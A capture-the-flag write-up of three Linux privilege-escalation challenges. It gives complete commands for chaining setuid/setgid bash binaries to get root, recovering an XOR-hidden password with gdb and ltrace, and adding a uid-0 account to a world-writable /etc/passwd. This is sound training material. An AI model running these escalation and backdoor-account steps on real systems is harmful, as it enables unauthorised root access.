RTV'23 PrivEsc Challenge 1-3

Within 5 minutes, can you get root given an initial foothold?

CHAL#1 (SUID)

Connecting to the instance then securing a stable shell:

$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv1

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)

First, looking at the contents of the /home directory, there is an interesting file inside /home/anthony:

jebidiah@ip-172-31-47-51:~$ tree /home

  /home
  ├── admin
  ├── anthony
  │   └── bash
  └── jebidiah

  4 directories, 1 file

Looking at the file, it is discovered to be an executable with the SUID bit set to the user, root; however, it can only be run by members of the group, anthony (which is also another user):

jebidiah@ip-172-31-47-51:~$ file /home/anthony/bash

  /home/anthony/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped

jebidiah@ip-172-31-47-51:~$ ls -lh /home/anthony/bash

  -rwsr-xr-- 1 root anthony 1.3M Sep 27 19:28 /home/anthony/bash

What should now be done is finding a way to change the current running context to anthony:

jebidiah@ip-172-31-47-51:~$ cat /etc/passwd | grep anthony

  anthony:x:1002:1002::/home/anthony:/bin/sh
  
jebidiah@ip-172-31-47-51:~$ find / -perm -4000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

jebidiah@ip-172-31-47-51:~$ find / -perm -2000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

  -r-xr-sr-x 1 anthony anthony 1.3M Sep 27 18:05 /bash
  
jebidiah@ip-172-31-47-51:~$ file /bash

  /bash: setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped

There is another bash executable in the / directory but this time an SUID bit was set to the group, anthony, which is what is currently needed:

jebidiah@ip-172-31-47-51:~$ /bash -p

bash-5.2$ id

  uid=1001(jebidiah) gid=1001(jebidiah) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)

Now, the effective gid of the current running context is for anthony meaning that the initially found bash file should now be executable and finally gain root privileges:

bash-5.2$ /home/anthony/bash -p

bash-5.2# id
  
  uid=1001(jebidiah) gid=1001(jebidiah) euid=0(root) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)

bash-5.2# cat /root/root.txt

  RTV{SU1Ds_4_dA_w1n}

CHAL#2 (strcmp)

Connecting to the instance then securing a stable shell:

$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv2

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)

Looking at the home directory of the current user, there is an executable named, root:

jebidiah@ip-172-31-42-199:~$ ls -lh

  total 16K
  -r-xr-xr-x 1 root root 16K Sep 27 20:59 root
  
jebidiah@ip-172-31-42-199:~$ file root

  root: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=080345de05c564b447ff4e3e7feec9c9febd9cf0, for GNU/Linux 3.2.0, not stripped

Attempting to run it yields the following results:

jebidiah@ip-172-31-42-199:~$ ./root

  Try running:

	./root <password>

jebidiah@ip-172-31-42-199:~$ ./root rootpass

  Whoops!! Try again... D:

It seems to be used for validating the root password and looking at its structure based on gdb, there is a strcmp() function probably used for verification and it seems that the plaintext password has been XORed which means that simply using strings will not give any results:

jebidiah@ip-172-31-42-199:~$ gdb ./root

(gdb) info functions

  All defined functions:

  Non-debugging symbols:
  0x0000000000001000  _init
  0x0000000000001030  puts@plt
  0x0000000000001040  strcmp@plt
  0x0000000000001050  malloc@plt
  0x0000000000001060  __cxa_finalize@plt
  0x0000000000001070  _start
  0x00000000000010a0  deregister_tm_clones
  0x00000000000010d0  register_tm_clones
  0x0000000000001110  __do_global_dtors_aux
  0x0000000000001150  frame_dummy
  0x0000000000001159  main
  0x0000000000001207  xor_pass
  0x0000000000001270  _fini

Debugging the executable then stopping at strcmp(), a password seems to have been recovered:

(gdb) run test

  Whoops!! Try again... D:

(gdb) disassemble main

  ..omitted..
  0x0000555555555191 <+56>:	call   0x555555555207 <xor_pass>
  ..omitted..
  0x00005555555551af <+86>:	call   0x555555555040 <strcmp@plt>
  ..omitted..
  
(gdb) break * 0x00005555555551af

  Breakpoint 1 at 0x5555555551af
  
(gdb) run test

  Breakpoint 1, 0x00005555555551af in main ()
  
(gdb) x/xs $rdi

  0x7fffffffe745:	"test"

(gdb) x/xs $rsi

  0x5555555592a0:	"NotAPassword123"

Now, using the discovered password to change the current user to root:

jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}

The same result could be obtained via ltrace:

jebidiah@ip-172-31-42-199:~$ ltrace ./root test

  malloc(16)                                                              = 0x5597742f52a0
  strcmp("test", "NotAPassword123")                                       = 38
  puts("Whoops!! Try again... D:"Whoops!! Try again... D:
  )                                        = 25
  +++ exited (status 0) +++
  
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}

Just something to share, this was the code used for the challenge:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define PASS_LENGTH 15

char* xor_pass(unsigned char* enc_pass);

int main(int argc, char* argv[]) {
	if(argc == 2) {
		unsigned char enc_pass[PASS_LENGTH + 1] = {0x27,0x06,0x1d,0x28,0x39,0x08,0x1a,0x1a,0x1e,0x06,0x1b,0x0d,0x58,0x5b,0x5a};
		char* pass = xor_pass(enc_pass);

		if(!strcmp(argv[1], pass)) {
			printf("Congratulations!! You got it... :D\n");
		} else {
			printf("Whoops!! Try again... D:\n");
		}
	} else if (argc == 1) {
		printf("Try running:\n\n\t./root <password>\n\n");
	} else {
		printf("You can only give one guess!! :<\n");
	}

	return 0;
}

char* xor_pass(unsigned char* enc_pass) {
	int i;
	char* pass = malloc(sizeof(char) * (PASS_LENGTH + 1));

	for(i=0; i<PASS_LENGTH; i++) {
		pass[i] = enc_pass[i] ^ 0x69;
	} pass[i] = '\0';

	return pass;
}

CHAL#3 (passwd)

Connecting to the instance then securing a stable shell:

$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv3

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)

Looking at the current user's home directory, there is a passwd binary but there is nothing much that can be done about it as there are no escalation methods that can be achieved but this might be a clue to what can be done next:

jebidiah@ip-172-31-41-120:~$ ls -lh 

  total 68K
  -r-sr-sr-x 1 root shadow 67K Sep 28 05:35 passwd

jebidiah@ip-172-31-41-120:~$ find / -name passwd -exec md5sum {} \; 2>/dev/null | grep -E 'jeb|bin'

  77d8b4bf54dba9d77333be091c519435  /usr/bin/passwd
  77d8b4bf54dba9d77333be091c519435  /home/jebidiah/passwd

Maybe it's the passwd file? Maybe it's the shadow file? Looking at it:

jebidiah@ip-172-31-41-120:~$ ls -lh /etc | grep -E 'passwd|shadow'

  -rw-r-----  1 root shadow  621 Sep 28 11:32 gshadow
  -rw-r-----  1 root shadow  613 Sep 28 05:36 gshadow-
  -rw-rw-rw-  1 root root   1.5K Sep 29 07:57 passwd
  -rw-r-----  1 root shadow  902 Sep 28 05:36 shadow

The passwd file is writable meaning a new user can be created that can be fully controlled; moreover, it could have root privileges. But first, it is important to note that the file follows a certain format per user:

<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<startup shell>

# Setting <password> to 'x' means the password will be stored in the shadow file.
# Otherwise, it will check the field itself.
# And, leaving it blank will ensure an empty password.

# A UID and/or GID of '0' is reserved for root but can be impersonated.

Now, to create a new user with a blank password:

jebidiah@ip-172-31-41-120:~$ echo 'bakanaman::0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ cat /etc/passwd | grep -E 'bin/.*sh$'

  root:x:0:0:root:/root:/bin/bash
  admin:x:1000:1000:Debian:/home/admin:/bin/bash
  jebidiah:x:1002:1002::/home/jebidiah:/bin/sh
  bakanaman::0:0:ggwp:/:/bin/bash
  
jebidiah@ip-172-31-41-120:~$ su bakanaman

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}

If you want to add a password, you can do so by doing the following:

jebidiah@ip-172-31-41-120:~$ openssl passwd rootpass

  $1$LFB.0uB4$ba5fVHKigN27R6fod01.g1
  
jebidiah@ip-172-31-41-120:~$ echo 'something:$1$LFB.0uB4$ba5fVHKigN27R6fod01.g1:0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ su something
Password: rootpass

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}

Last updated